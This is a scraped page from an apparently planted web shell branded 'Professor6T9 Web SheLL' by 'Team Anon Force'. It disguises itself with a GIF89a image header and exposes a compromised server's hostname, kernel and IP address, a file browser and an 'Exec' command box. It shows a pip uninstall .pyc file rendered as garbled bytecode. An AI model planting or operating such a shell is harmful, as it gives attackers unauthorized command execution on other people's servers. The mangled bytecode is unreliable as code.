GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux host69.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
Apache
68.65.123.79
/
proc
/
self
/
root
/
opt
/
hc_python
/
lib
/
python3.12
/
site-packages
/
pip
/
_internal
/
commands
/
__pycache__
[ HOME ]
Exec
Submit
uninstall.cpython-312.pyc
� �0i � �� � d dl Z d dlmZ d dlmZ d dlmZ d dlmZ d dl m Z d dlmZ d dl mZ d d lmZ d d lmZmZ d dlmZmZmZ e j0 e� Z G d� d ee � Zy)� N)�Values)�canonicalize_name)� cmdoptions)�Command)�SessionCommandMixin)�SUCCESS)�InstallationError)�parse_requirements)�install_req_from_line�#install_req_from_parsed_requirement)�check_externally_managed�(protect_pip_from_modification_on_windows�warn_if_run_as_rootc �6 � e Zd ZdZdZd d�Zdedee de fd�Z y) �UninstallCommandaB Uninstall packages. pip is able to uninstall most installed packages. Known exceptions are: - Pure distutils packages installed with ``python setup.py install``, which leave behind no metadata to determine what files were installed. - Script wrappers installed by ``python setup.py develop``. zU %prog [options] <package> ... %prog [options] -r <requirements file> ...�returnNc � � | j j ddddg dd�� | j j dd d dd� � | j j t j � � | j j t j � � | j j d| j � y )Nz-rz --requirement�requirements�append�filezjUninstall all the packages listed in the given requirements file. This option can be used multiple times.)�dest�action�default�metavar�helpz-yz--yes�yes� store_truez2Don't ask for confirmation of uninstall deletions.)r r r r )�cmd_opts� add_optionr �root_user_action�override_externally_managed�parser�insert_option_group)�selfs �O/opt/hc_python/lib/python3.12/site-packages/pip/_internal/commands/uninstall.py�add_optionszUninstallCommand.add_options( s� � �� � � � �������A� !� � � � � � �����E� !� � � � � � ��!<�!<�!>�?�� � � � ��!G�!G�!I�J����'�'��4�=�=�9� �options�argsc � � | j |� }i }|D ]T }t ||j �� }|j r||t |j � <